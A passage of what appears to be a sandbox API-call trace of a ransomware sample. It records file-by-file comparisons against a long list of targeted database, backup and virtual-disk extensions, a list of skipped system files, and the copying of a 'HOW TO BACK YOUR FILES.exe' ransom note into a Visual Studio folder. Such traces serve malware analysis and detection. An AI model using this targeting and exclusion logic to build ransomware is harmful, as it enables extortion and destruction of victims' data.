	[0054.158] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0054.158] lstrlenW (lpString="hdb") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0054.158] lstrlenW (lpString="his") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0054.158] lstrlenW (lpString="ib") returned 2
	[0054.158] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0054.158] lstrlenW (lpString="idb") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0054.158] lstrlenW (lpString="ihx") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0054.158] lstrlenW (lpString="itdb") returned 4
	[0054.158] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0054.158] lstrlenW (lpString="itw") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0054.158] lstrlenW (lpString="jet") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0054.158] lstrlenW (lpString="jtx") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0054.158] lstrlenW (lpString="kdb") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0054.158] lstrlenW (lpString="kexi") returned 4
	[0054.158] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0054.158] lstrlenW (lpString="kexic") returned 5
	[0054.158] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1
	[0054.158] lstrlenW (lpString="kexis") returned 5
	[0054.158] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1
	[0054.158] lstrlenW (lpString="lgc") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0054.158] lstrlenW (lpString="lwx") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0054.158] lstrlenW (lpString="maf") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0054.158] lstrlenW (lpString="maq") returned 3
	[0054.158] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0054.159] lstrlenW (lpString="mar") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0054.159] lstrlenW (lpString="marshal") returned 7
	[0054.159] lstrcmpiW (lpString1="ter.dll", lpString2="marshal") returned 1
	[0054.159] lstrlenW (lpString="mas") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0054.159] lstrlenW (lpString="mav") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0054.159] lstrlenW (lpString="maw") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0054.159] lstrlenW (lpString="mdbhtml") returned 7
	[0054.159] lstrcmpiW (lpString1="ter.dll", lpString2="mdbhtml") returned 1
	[0054.159] lstrlenW (lpString="mdn") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0054.159] lstrlenW (lpString="mdt") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0054.159] lstrlenW (lpString="mfd") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0054.159] lstrlenW (lpString="mpd") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0054.159] lstrlenW (lpString="mrg") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0054.159] lstrlenW (lpString="mud") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0054.159] lstrlenW (lpString="mwb") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0054.159] lstrlenW (lpString="myd") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0054.159] lstrlenW (lpString="ndf") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0054.159] lstrlenW (lpString="nnt") returned 3
	[0054.159] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0054.159] lstrlenW (lpString="nrmlib") returned 6
	[0054.159] lstrcmpiW (lpString1="er.dll", lpString2="nrmlib") returned -1
	[0054.159] lstrlenW (lpString="ns2") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0054.160] lstrlenW (lpString="ns3") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0054.160] lstrlenW (lpString="ns4") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0054.160] lstrlenW (lpString="nsf") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0054.160] lstrlenW (lpString="nv") returned 2
	[0054.160] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0054.160] lstrlenW (lpString="nv2") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0054.160] lstrlenW (lpString="nwdb") returned 4
	[0054.160] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0054.160] lstrlenW (lpString="nyf") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0054.160] lstrlenW (lpString="odb") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0054.160] lstrlenW (lpString="odb") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0054.160] lstrlenW (lpString="oqy") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0054.160] lstrlenW (lpString="ora") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0054.160] lstrlenW (lpString="orx") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0054.160] lstrlenW (lpString="owc") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0054.160] lstrlenW (lpString="p96") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0054.160] lstrlenW (lpString="p97") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0054.160] lstrlenW (lpString="pan") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0054.160] lstrlenW (lpString="pdb") returned 3
	[0054.160] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0054.161] lstrlenW (lpString="pdm") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0054.161] lstrlenW (lpString="pnz") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0054.161] lstrlenW (lpString="qry") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0054.161] lstrlenW (lpString="qvd") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0054.161] lstrlenW (lpString="rbf") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0054.161] lstrlenW (lpString="rctd") returned 4
	[0054.161] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0054.161] lstrlenW (lpString="rod") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0054.161] lstrlenW (lpString="rodx") returned 4
	[0054.161] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0054.161] lstrlenW (lpString="rpd") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0054.161] lstrlenW (lpString="rsd") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0054.161] lstrlenW (lpString="sas7bdat") returned 8
	[0054.161] lstrcmpiW (lpString1="pter.dll", lpString2="sas7bdat") returned -1
	[0054.161] lstrlenW (lpString="sbf") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0054.161] lstrlenW (lpString="scx") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0054.161] lstrlenW (lpString="sdb") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0054.161] lstrlenW (lpString="sdc") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0054.161] lstrlenW (lpString="sdf") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0054.161] lstrlenW (lpString="sis") returned 3
	[0054.161] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0054.162] lstrlenW (lpString="spq") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0054.162] lstrlenW (lpString="te") returned 2
	[0054.162] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0054.162] lstrlenW (lpString="teacher") returned 7
	[0054.162] lstrcmpiW (lpString1="ter.dll", lpString2="teacher") returned 1
	[0054.162] lstrlenW (lpString="tmd") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0054.162] lstrlenW (lpString="tps") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0054.162] lstrlenW (lpString="trc") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0054.162] lstrlenW (lpString="trc") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0054.162] lstrlenW (lpString="trm") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0054.162] lstrlenW (lpString="udb") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0054.162] lstrlenW (lpString="udl") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0054.162] lstrlenW (lpString="usr") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0054.162] lstrlenW (lpString="v12") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0054.162] lstrlenW (lpString="vis") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0054.162] lstrlenW (lpString="vpd") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0054.162] lstrlenW (lpString="vvv") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0054.162] lstrlenW (lpString="wdb") returned 3
	[0054.162] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0054.162] lstrlenW (lpString="wmdb") returned 4
	[0054.162] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0054.163] lstrlenW (lpString="wrk") returned 3
	[0054.163] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0054.163] lstrlenW (lpString="xdb") returned 3
	[0054.163] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0054.163] lstrlenW (lpString="xld") returned 3
	[0054.163] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0054.163] lstrlenW (lpString="xmlff") returned 5
	[0054.163] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1
	[0054.163] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="Apollon865.txt.exe") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2=".") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="..") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="windows") returned -1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="bootmgr") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="temp") returned -1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="pagefile.sys") returned -1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="boot") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="ids.txt") returned 1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="ntuser.dat") returned -1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="perflogs") returned -1
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2="MSBuild") returned -1
	[0054.163] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll") returned 58
	[0054.163] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\Microsoft.VisualStudio.Tools.Applications.Adapter.dll") returned 131
	[0054.163] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll" | out: lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll") returned="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll"
	[0054.163] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll") returned 58
	[0054.163] lstrlenW (lpString="Apollon865") returned 10
	[0054.163] lstrcmpiW (lpString1="anager.dll", lpString2="Apollon865") returned -1
	[0054.163] lstrlenW (lpString=".dll") returned 4
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2=".dll") returned 1
	[0054.163] lstrlenW (lpString=".lnk") returned 4
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2=".lnk") returned 1
	[0054.163] lstrlenW (lpString=".ini") returned 4
	[0054.163] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2=".ini") returned 1
	[0054.164] lstrlenW (lpString=".sys") returned 4
	[0054.164] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", lpString2=".sys") returned 1
	[0054.164] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll") returned 58
	[0054.164] lstrlenW (lpString="bak") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0054.164] lstrlenW (lpString="ba_") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0054.164] lstrlenW (lpString="dbb") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0054.164] lstrlenW (lpString="vmdk") returned 4
	[0054.164] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0054.164] lstrlenW (lpString="rar") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0054.164] lstrlenW (lpString="zip") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0054.164] lstrlenW (lpString="tgz") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0054.164] lstrlenW (lpString="vbox") returned 4
	[0054.164] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0054.164] lstrlenW (lpString="vdi") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0054.164] lstrlenW (lpString="vhd") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0054.164] lstrlenW (lpString="vhdx") returned 4
	[0054.164] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0054.164] lstrlenW (lpString="avhd") returned 4
	[0054.164] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0054.164] lstrlenW (lpString="db") returned 2
	[0054.164] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0054.164] lstrlenW (lpString="db2") returned 3
	[0054.164] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0054.164] lstrlenW (lpString="db3") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0054.165] lstrlenW (lpString="dbf") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0054.165] lstrlenW (lpString="mdf") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0054.165] lstrlenW (lpString="mdb") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0054.165] lstrlenW (lpString="sql") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0054.165] lstrlenW (lpString="sqlite") returned 6
	[0054.165] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1
	[0054.165] lstrlenW (lpString="sqlite3") returned 7
	[0054.165] lstrcmpiW (lpString1="ger.dll", lpString2="sqlite3") returned -1
	[0054.165] lstrlenW (lpString="sqlitedb") returned 8
	[0054.165] lstrcmpiW (lpString1="ager.dll", lpString2="sqlitedb") returned -1
	[0054.165] lstrlenW (lpString="xml") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0054.165] lstrlenW (lpString="$er") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0054.165] lstrlenW (lpString="4dd") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0054.165] lstrlenW (lpString="4dl") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0054.165] lstrlenW (lpString="^^^") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0054.165] lstrlenW (lpString="abs") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0054.165] lstrlenW (lpString="abx") returned 3
	[0054.165] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0054.165] lstrlenW (lpString="accdb") returned 5
	[0054.165] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1
	[0054.165] lstrlenW (lpString="accdc") returned 5
	[0054.165] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1
	[0054.165] lstrlenW (lpString="accde") returned 5
	[0054.165] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1
	[0054.166] lstrlenW (lpString="accdr") returned 5
	[0054.166] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1
	[0054.166] lstrlenW (lpString="accdt") returned 5
	[0054.166] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1
	[0054.166] lstrlenW (lpString="accdw") returned 5
	[0054.166] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1
	[0054.166] lstrlenW (lpString="accft") returned 5
	[0054.166] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1
	[0054.166] lstrlenW (lpString="adb") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0054.166] lstrlenW (lpString="adb") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0054.166] lstrlenW (lpString="ade") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0054.166] lstrlenW (lpString="adf") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0054.166] lstrlenW (lpString="adn") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0054.166] lstrlenW (lpString="adp") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0054.166] lstrlenW (lpString="alf") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0054.166] lstrlenW (lpString="ask") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0054.166] lstrlenW (lpString="btr") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0054.166] lstrlenW (lpString="cat") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0054.166] lstrlenW (lpString="cdb") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0054.166] lstrlenW (lpString="ckp") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0054.166] lstrlenW (lpString="cma") returned 3
	[0054.166] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0054.166] lstrlenW (lpString="cpd") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0054.167] lstrlenW (lpString="dacpac") returned 6
	[0054.167] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1
	[0054.167] lstrlenW (lpString="dad") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0054.167] lstrlenW (lpString="dadiagrams") returned 10
	[0054.167] lstrcmpiW (lpString1="anager.dll", lpString2="dadiagrams") returned -1
	[0054.167] lstrlenW (lpString="daschema") returned 8
	[0054.167] lstrcmpiW (lpString1="ager.dll", lpString2="daschema") returned -1
	[0054.167] lstrlenW (lpString="db-journal") returned 10
	[0054.167] lstrcmpiW (lpString1="anager.dll", lpString2="db-journal") returned -1
	[0054.167] lstrlenW (lpString="db-shm") returned 6
	[0054.167] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1
	[0054.167] lstrlenW (lpString="db-wal") returned 6
	[0054.167] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1
	[0054.167] lstrlenW (lpString="dbc") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0054.167] lstrlenW (lpString="dbs") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0054.167] lstrlenW (lpString="dbt") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0054.167] lstrlenW (lpString="dbv") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0054.167] lstrlenW (lpString="dbx") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0054.167] lstrlenW (lpString="dcb") returned 3
	[0054.167] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0054.167] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll" | out: lpString1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll") returned="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll"
	[0054.167] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll") returned 59
	[0054.167] lstrlenW (lpString="Apollon865") returned 10
	[0054.168] lstrcmpiW (lpString1="hannel.dll", lpString2="Apollon865") returned 1
	[0054.168] lstrlenW (lpString=".dll") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", lpString2=".dll") returned 1
	[0054.168] lstrlenW (lpString=".lnk") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", lpString2=".lnk") returned 1
	[0054.168] lstrlenW (lpString=".ini") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", lpString2=".ini") returned 1
	[0054.168] lstrlenW (lpString=".sys") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", lpString2=".sys") returned 1
	[0054.168] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll") returned 59
	[0054.168] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll" | out: lpString1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll") returned="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll"
	[0054.168] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll") returned 56
	[0054.168] lstrlenW (lpString="Apollon865") returned 10
	[0054.168] lstrcmpiW (lpString1="gnTime.dll", lpString2="Apollon865") returned 1
	[0054.168] lstrlenW (lpString=".dll") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", lpString2=".dll") returned 1
	[0054.168] lstrlenW (lpString=".lnk") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", lpString2=".lnk") returned 1
	[0054.168] lstrlenW (lpString=".ini") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", lpString2=".ini") returned 1
	[0054.168] lstrlenW (lpString=".sys") returned 4
	[0054.168] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", lpString2=".sys") returned 1
	[0054.168] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll") returned 56
	[0054.168] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="System.AddIn.dll" | out: lpString1="System.AddIn.dll") returned="System.AddIn.dll"
	[0054.168] lstrlenW (lpString="System.AddIn.dll") returned 16
	[0054.168] lstrlenW (lpString="Apollon865") returned 10
	[0054.168] lstrcmpiW (lpString1=".AddIn.dll", lpString2="Apollon865") returned -1
	[0054.168] lstrlenW (lpString=".dll") returned 4
	[0054.168] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".dll") returned 1
	[0054.168] lstrlenW (lpString=".lnk") returned 4
	[0054.168] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".lnk") returned 1
	[0054.168] lstrlenW (lpString=".ini") returned 4
	[0054.168] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".ini") returned 1
	[0054.169] lstrlenW (lpString=".sys") returned 4
	[0054.169] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".sys") returned 1
	[0054.169] lstrlenW (lpString="System.AddIn.dll") returned 16
	[0054.170] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies"
	[0054.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0054.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0054.170] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned 78
	[0054.170] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies"
	[0054.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\privateassemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.197] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
